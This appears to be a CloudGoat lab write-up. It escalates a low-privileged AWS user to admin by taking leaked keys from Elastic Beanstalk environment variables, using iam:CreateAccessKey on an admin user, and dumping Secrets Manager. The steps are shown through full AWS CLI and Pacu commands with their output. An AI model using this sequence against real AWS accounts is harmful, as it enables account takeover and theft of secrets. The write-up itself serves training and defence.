In this CloudGoat (beanstalk_secrets
) scenario, I explored an AWS misconfiguration where sensitive credentials were exposed through Elastic Beanstalk environment variables. Starting with a low-privileged IAM user, I was able to escalate all the way to admin access and capture the final flag. I used the AWS CLI to manually walk through the steps to better understand how to enumerate resources, then repeated the process using PACU to see how automation can streamline the workflow.
Manual AWS CLI Walkthrough
I started by enumerating the environment with a low-privileged IAM user using the AWS CLI. While I couldn’t access environment resources directly, I was able to pull the Beanstalk configuration and spot secondary AWS credentials exposed in environment variables.
After switching to the secondary credentials, I discovered that the associated IAM user had the ability to create access keys for any IAM resource in the account. With further enumeration, I found an existing admin_user
and used that permission to generate a new access key for them effectively escalating my access to full administrator. With those admin credentials, I queried AWS Secrets Manager and successfully retrieved the final flag!
PACU Automation
Using an automated approach, I ran through the scenario again using PACU. Using modules like elasticbeanstalk__enum
, iam__bruteforce_permissions
, iam__enum_permissions
, iam__privesc_scan
, and secrets__enum
, I was able to:
- Instantly detect leaked credentials in Beanstalk config
- Confirm the privilege escalation path
- Create an admin access key
- Dump secrets from Secrets Manager
PACU made it easy to spot the vulnerabilities and helped speed up the entire process.
Key Takeaways
- Never store secrets in Elastic Beanstalk environment variables.
- Even limited permissions like
iam:CreateAccessKey
can be dangerous if misconfigured. - Tools like PACU are powerful for identifying and automating privilege escalation in AWS environments.
Detailed steps:
Manual Enumeration using AWS CLI
Initial Access
initial_low_priv_credentials = Access Key: AKIAS6FO56WFZ*********
Secret Key: BvdAs4l/UmNRTtg59DwJeb5pvl1sm/**********
Caller Identity
(jimmy㉿kali)-[~]
└─$ aws sts get-caller-identity --profile eb-lowpriv
{
"UserId": "AIDAS6FO56WFQ644XTLKG",
"Account": "202230******",
"Arn": "arn:aws:iam::202230******:user/cgidu7hel4dzww_low_priv_user"
}
- Listing Beanstalk Applications
(jimmy㉿kali)-[~]
└─$ aws elasticbeanstalk describe-applications --profile eb-lowpriv
{
"Applications": [
{
"ApplicationArn": "arn:aws:elasticbeanstalk:us-east-1:202230******:application/cgidu7hel4dzww-app",
"ApplicationName": "cgidu7hel4dzww-app",
"Description": "Elastic Beanstalk application for insecure secrets scenario",
"DateCreated": "2025-05-10T18:05:45.200000+00:00",
"DateUpdated": "2025-05-10T18:05:45.200000+00:00",
"ConfigurationTemplates": [],
"ResourceLifecycleConfig": {
"VersionLifecycleConfig": {
"MaxCountRule": {
"Enabled": false,
"MaxCount": 200,
"DeleteSourceFromS3": false
},
"MaxAgeRule": {
"Enabled": false,
"MaxAgeInDays": 180,
"DeleteSourceFromS3": false
}
REDACTED....
- Listing Environments
- We found a load balancer URL
(jimmy㉿kali)-[~]
└─$ aws elasticbeanstalk describe-environments --application-name cgidu7hel4dzww-app --profile eb-lowpriv
{
"Environments": [
{
"EnvironmentName": "cgidu7hel4dzww-env",
"EnvironmentId": "e-xp3sg3kqxs",
"ApplicationName": "cgidu7hel4dzww-app",
"SolutionStackName": "64bit Amazon Linux 2023 v4.5.1 running Python 3.11",
"PlatformArn": "arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.11 running on 64bit Amazon Linux 2023/4.5.1",
"EndpointURL": "awseb-e-x-AWSEBLoa-1VVNAP6O2Q17M-1721736406.us-east-1.elb.amazonaws.com",
"CNAME": "cgidu7hel4dzww-env.eba-nhmjywxh.us-east-1.elasticbeanstalk.com",
"DateCreated": "2025-05-10T18:06:02.392000+00:00",
"DateUpdated": "2025-05-10T18:09:01.549000+00:00",
"Status": "Ready",
"AbortableOperationInProgress": false,
"Health": "Grey",
"HealthStatus": "No Data",
"Tier": {
"Name": "WebServer",
"Type": "Standard",
"Version": "1.0"
},
"EnvironmentLinks": [],
"EnvironmentArn": "arn:aws:elasticbeanstalk:us-east-1:202230******:environment/cgidu7hel4dzww-app/cgidu7hel4dzww-env"
}
]
}
- Low Priv user does not have access to list environment resources
(jimmy㉿kali)-[~]
└─$ aws elasticbeanstalk describe-environment-resources --environment-name cgidu7hel4dzww-env --profile eb-lowpriv
An error occurred (InsufficientPrivilegesException) when calling the DescribeEnvironmentResources operation: User: arn:aws:iam::202230******:user/cgidu7hel4dzww_low_priv_user is not authorized to perform: autoscaling:DescribeAutoScalingGroups because no identity-based policy allows the autoscaling:DescribeAutoScalingGroups action
- Listed config for each resource in the environment and found the secondary creds
- Access Key: AKIAS6FO56W*********
- Secret Key: brS2oUqbVGqtowAJVV+dHZv*****************
(jimmy㉿kali)-[~]
└─$ aws elasticbeanstalk describe-configuration-settings --application-name cgidu7hel4dzww-app --environment-name cgidu7hel4dzww-env --profile eb-lowpriv
{
"Namespace": "aws:cloudformation:template:parameter",
"OptionName": "EnvironmentVariables",
"Value": "SECONDARY_SECRET_KEY=brS2oUqbVGqtowAJVV+dHZv**************,PYTHONPATH=/var/app/venv/staging-LQM1lest/bin,SECONDARY_ACCESS_KEY=AKIAS6FO56WF********"
},
Enumerating Secondary User (manual enumeration)
- Listing Caller Identity
(jimmy㉿kali)-[~]
└─$ aws sts get-caller-identity --profile eb-secondpriv
{
"UserId": "AIDAS6FO56WF5********",
"Account": "202230******",
"Arn": "arn:aws:iam::202230******:user/cgidu7hel4dzww_secondary_user"
}
- Listing IAM users
(jimmy㉿kali)-[~]
└─$ aws iam list-users --profile eb-secondpriv
{
"Users": [
{
"Path": "/",
"UserName": "cgidu7hel4dzww_admin_user",
"UserId": "AIDAS6FO56WFS********",
"Arn": "arn:aws:iam::202230******:user/cgidu7hel4dzww_admin_user",
"CreateDate": "2025-05-10T18:05:45+00:00"
},
{
"Path": "/",
"UserName": "cgidu7hel4dzww_low_priv_user",
"UserId": "AIDAS6FO56WF*********",
"Arn": "arn:aws:iam::202230******:user/cgidu7hel4dzww_low_priv_user",
"CreateDate": "2025-05-10T18:05:45+00:00"
},
{
"Path": "/",
"UserName": "cgidu7hel4dzww_secondary_user",
"UserId": "AIDAS6FO56WF*********",
"Arn": "arn:aws:iam::202230******:user/cgidu7hel4dzww_secondary_user",
"CreateDate": "2025-05-10T18:05:45+00:00"
},
REDACTED....
- Listing Managed policies
- Access denied to list inline policies.
(jimmy㉿kali)-[~]
└─$ aws iam list-attached-user-policies --user-name cgidu7hel4dzww_secondary_user --profile eb-secondpriv
{
"AttachedPolicies": [
{
"PolicyName": "cgidu7hel4dzww_secondary_policy",
"PolicyArn": "arn:aws:iam::202230******:policy/cgidu7hel4dzww_secondary_policy"
}
]
}
- Now we will enumerate the managed policy to see what permissions it has.
(jimmy㉿kali)-[~]
└─$ aws iam get-policy --policy-arn arn:aws:iam::202230******:policy/cgidu7hel4dzww_secondary_policy --profile eb-secondpriv
{
"Policy": {
"PolicyName": "cgidu7hel4dzww_secondary_policy",
"PolicyId": "ANPAS6FO56WF3********",
"Arn": "arn:aws:iam::202230******:policy/cgidu7hel4dzww_secondary_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2025-05-10T18:05:45+00:00",
"UpdateDate": "2025-05-10T18:05:45+00:00",
"Tags": [
{
"Key": "Scenario",
"Value": "beanstalk_secrets"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
REDACTED....
- Listing Policy version ID
- We found this policy allows us to create an access key for any resource in the environment. Earlier we listed all users and found an “admin_user”. We can use this admin user to create a new access key for them.
(jimmy㉿kali)-[~]
└─$ aws iam get-policy-version --policy-arn arn:aws:iam::202230******:policy/cgidu7hel4dzww_secondary_policy --version-id v1 --profile eb-secondpriv
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"iam:CreateAccessKey"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"iam:ListRoles",
"iam:GetRole",
"iam:ListPolicies",
"iam:GetPolicy",
"iam:ListPolicyVersions",
"iam:GetPolicyVersion",
"iam:ListUsers",
"iam:GetUser",
"iam:ListGroups",
"iam:GetGroup",
"iam:ListAttachedUserPolicies",
"iam:ListAttachedRolePolicies",
"iam:GetRolePolicy"
],
"Effect": "Allow",
"Resource": "*"
}
REDACTED....
- Checking “admin_user” permissions to make sure they do have full admin rights. Listed policies attached to the user.
(jimmy㉿kali)-[~]
└─$ aws iam list-attached-user-policies --user-name cgidu7hel4dzww_admin_user --profile eb-secondpriv
{
"AttachedPolicies": [
{
"PolicyName": "cgidu7hel4dzww_admin_user_policy",
"PolicyArn": "arn:aws:iam::202230******:policy/cgidu7hel4dzww_admin_user_policy"
}
]
}
- Creating an access key for the admin user.
(jimmy㉿kali)-[~]
└─$ aws iam create-access-key --user-name cgidu7hel4dzww_admin_user --profile eb-secondpriv
{
"AccessKey": {
"UserName": "cgidu7hel4dzww_admin_user",
"AccessKeyId": "AKIAS6FO56WF********",
"Status": "Active",
"SecretAccessKey": "ZsVuayDmoEnfgd1E0991/uFq6H***************",
"CreateDate": "2025-05-10T19:19:27+00:00"
}
}
- Listing admin_user identity
(jimmy㉿kali)-[~]
└─$ aws sts get-caller-identity --profile eb-admin
{
"UserId": "AIDAS6FO56WFS********",
"Account": "202230******",
"Arn": "arn:aws:iam::202230******:user/cgidu7hel4dzww_admin_user"
}
- Listing AWS Secrets Manager
(jimmy㉿kali)-[~]
└─$ aws secretsmanager list-secrets --profile eb-admin
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:202230******:secret:cgidu7hel4dzww_final_flag-QT7Q7o",
"Name": "cgidu7hel4dzww_final_flag",
"LastChangedDate": "2025-05-10T14:05:45.509000-04:00",
"LastAccessedDate": "2025-05-09T20:00:00-04:00",
"Tags": [
{
"Key": "Stack",
"Value": "CloudGoat"
},
{
"Key": "Scenario",
"Value": "beanstalk_secrets"
}
],
REDACTED....
- Retrieving the secret string value.
(jimmy㉿kali)-[~]
└─$ aws secretsmanager get-secret-value --secret-id cgidu7hel4dzww_final_flag --profile eb-admin
{
"ARN": "arn:aws:secretsmanager:us-east-1:202230******:secret:cgidu7hel4dzww_final_flag-QT7Q7o",
"Name": "cgidu7hel4dzww_final_flag",
"VersionId": "terraform-20250510180535840500000002",
"SecretString": "FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2025-05-10T14:05:45.504000-04:00"
}
Enumerating Low Priv User (Using Pacu)
Initial Access
initial_low_priv_credentials = Access Key: AKIAS6FO56W*********
Secret Key: kVegGEIjHqOn4it+Mvhctae****************
Listing Caller Identity of Low Priv user
(jimmy㉿kali)-[~]
└─$ aws sts get-caller-identity --profile eb-lowpriv
{
"UserId": "AIDAS6FO56WFZ*********",
"Account": "202230******",
"Arn": "arn:aws:iam::202230******:user/cgid12vyb8m28b_low_priv_user"
}
- We started a new Pacu sessions and imported our keys
Pacu (eb-lowpriv:No Keys Set) > import_keys eb-lowpriv
Imported keys as "imported-eb-lowpriv"
- We will now start by enumerating Elastic BeanStalk with Pacu. We are going to start with running elasticbeanstalk__enum.
- Using one command in Pacu we found the secondary user access key and secret access key.
- Access Key: AKIAS6FO56W*********
- Secret Key: KeZ/8shwlV8FdOtmXeyxbbfLRN***************
- Using one command in Pacu we found the secondary user access key and secret access key.
Pacu (eb-lowpriv:imported-eb-lowpriv) > run elasticbeanstalk__enum --region us-east-1
Running module elasticbeanstalk__enum...
[elasticbeanstalk__enum] Enumerating BeanStalk data in region us-east-1...
[elasticbeanstalk__enum] 1 application(s) found in us-east-1.
[elasticbeanstalk__enum] 1 environment(s) found in us-east-1.
Potential secret in environment variable: SSHSourceRestriction => tcp,22,22,0.0.0.0/0
Potential secret in environment variable: EnvironmentVariables => SECONDARY_SECRET_KEY=KeZ/8shwlV8FdOtmXeyxbbfLR***************,PYTHONPATH=/var/app/venv/staging-LQM1lest/bin,SECONDARY_ACCESS_KEY=AKIAS6FO56*********
Potential secret in environment variable: SECONDARY_ACCESS_KEY => AKIAS6FO56W*********
REDACTED...
- We will now enumerate IAM users and Policies with the Secondary user access. We listed the users identity and then start a new session in Pacu with our new secondary user keys.
(jimmy㉿kali)-[~]
└─$ aws sts get-caller-identity --profile eb-secondpriv
{
"UserId": "AIDAS6FO56WF*********",
"Account": "202230******",
"Arn": "arn:aws:iam::202230******:user/cgid12vyb8m28b_secondary_user"
}
- We now will enumerate the users to see what users exist and what roles and polices they have attached.
- We found an admin_user exists.
Pacu (eb-secondpriv:imported-eb-secondpriv) > run iam__enum_users_roles_policies_groups
"Users": [
{
"Path": "/",
"UserName": "cgid12vyb8m28b_admin_user",
"UserId": "AIDAS6FO56WFU*********",
"Arn": "arn:aws:iam::202230******:user/cgid12vyb8m28b_admin_user",
"CreateDate": "Sat, 10 May 2025 19:37:46"
},
{
"Path": "/",
"UserName": "cgid12vyb8m28b_low_priv_user",
"UserId": "AIDAS6FO56WF*********",
"Arn": "arn:aws:iam::202230******:user/cgid12vyb8m28b_low_priv_user",
"CreateDate": "Sat, 10 May 2025 19:37:46"
},
{
"Path": "/",
"UserName": "cgid12vyb8m28b_secondary_user",
"UserId": "AIDAS6FO56WF*********",
"Arn": "arn:aws:iam::202230******:user/cgid12vyb8m28b_secondary_user",
"CreateDate": "Sat, 10 May 2025 19:37:46"
},
REDACTED....
- We now we will run iam__bruteforce_enum to list what permissions our second user has.
Pacu (eb-secondpriv:imported-eb-secondpriv) > run iam__bruteforce_permissions --region us-east-1
Running module iam__bruteforce_permissions...
aws_keys: [
<AWSKey: imported-eb-secondpriv>
]
id: 3
created: "2025-05-10 20:04:35.359248"
is_active: true
name: "eb-secondpriv"
key_alias: "imported-eb-secondpriv"
access_key_id: "AKIAS6FO56*********"
secret_access_key: "******" (Censored)
session_regions: [
"all"
]
IAM: {
"permissions": {
"allow": [
"iam:GetUser",
"iam:ListAttachedUserPolicies",
"iam:ListUsers",
"iam:ListRoles",
"iam:GetUser",
"iam:ListGroups",
"iam:ListPolicies",
"dynamodb:DescribeEndpoints",
"sts:GetSessionToken",
"sts:GetCallerIdentity"
],
"deny": [
"iam:ListGroupPolicies"
]
}
}
- Next lets run iam__enum_permissions.
- We see our user has access to create access keys for IAM resources. We will now try creating a new access key for our admin_user we found earlier.
Pacu (eb-secondpriv:imported-eb-secondpriv) > run iam__enum_permissions
Pacu (eb-secondpriv:imported-eb-secondpriv) > whoami
{
"UserName": "cgid12vyb8m28b_secondary_user",
"RoleName": null,
"Arn": "arn:aws:iam::202230******:user/cgid12vyb8m28b_secondary_user",
"AccountId": "202230******",
"UserId": "AIDAS6FO56WF********",
"Roles": null,
"Groups": [],
"Policies": [
{
"PolicyName": "cgid12vyb8m28b_secondary_policy",
"PolicyArn": "arn:aws:iam::202230******:policy/cgid12vyb8m28b_secondary_policy"
}
],
"AccessKeyId": "AKIAS6FO56WF********",
"SecretAccessKey": "KeZ/8shwlV8FdOtmXeyx********************",
"SessionToken": null,
"KeyAlias": "imported-eb-secondpriv",
"PermissionsConfirmed": false,
"Permissions": {
"Allow": {
"iam:createaccesskey": {
"Resources": [
"*"
]
REDACTED....
- Our second user has access to create access keys. We will now run the iam__privesc_scan to confirm we can create access keys.
Pacu (eb-secondpriv:imported-eb-secondpriv) > run iam__privesc_scan --scan-only
Running module iam__privesc_scan...
[iam__privesc_scan] Escalation methods for current user:
[iam__privesc_scan] POTENTIAL: AddUserToGroup
[iam__privesc_scan] POTENTIAL: AttachGroupPolicy
[iam__privesc_scan] POTENTIAL: AttachRolePolicy
[iam__privesc_scan] POTENTIAL: AttachUserPolicy
[iam__privesc_scan] POTENTIAL: CodeStarCreateProjectFromTemplate
[iam__privesc_scan] POTENTIAL: CodeStarCreateProjectThenAssociateTeamMember
[iam__privesc_scan] CONFIRMED: CreateAccessKey
REDACTED....
- With the confirmation that we can create access keys for existing resources we will try to create a new key for the admin_user.
Pacu (eb-secondpriv:imported-eb-secondpriv) > run iam__privesc_scan --user-methods CreateAccessKey
Running module iam__privesc_scan...
[iam__backdoor_users_keys] cgidvelr1176p3_admin_user
[iam__backdoor_users_keys] Access Key ID: AKIAS6FO56W********
[iam__backdoor_users_keys] Secret Key: /im+ciAJoOXhAfUT8skEwGx**************
[iam__backdoor_users_keys] iam__backdoor_users_keys completed.
- Now we will enumerate AWS Secrets Manager to retrieve any secrets stored. We will use secrets__enum in Pacu.
Pacu (eb-admin:imported-eb-admin) > run secrets__enum --region us-east-1
Running module secrets__enum...
[secrets__enum] Starting region us-east-1...
[secrets__enum] Found secret: cgidvelr1176p3_final_flag
[secrets__enum] Probing Secret: cgidvelr1176p3_final_flag
[secrets__enum] Probing parameter store
[secrets__enum] secrets__enum completed.
[secrets__enum] MODULE SUMMARY:
1 Secret(s) were found in AWS secretsmanager
' 0 Parameter(s) were found in AWS Systems Manager Parameter Store
Check ~/.local/share/pacu/<session name>/downloads/secrets/ to get the values
- Secrets exposed!
(jimmy㉿kali)-[~]
└─$ cat ~/.local/share/pacu/eb-admin/downloads/secrets/secrets_manager/secrets.txt
cgidvelr1176p3_final_flag:FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}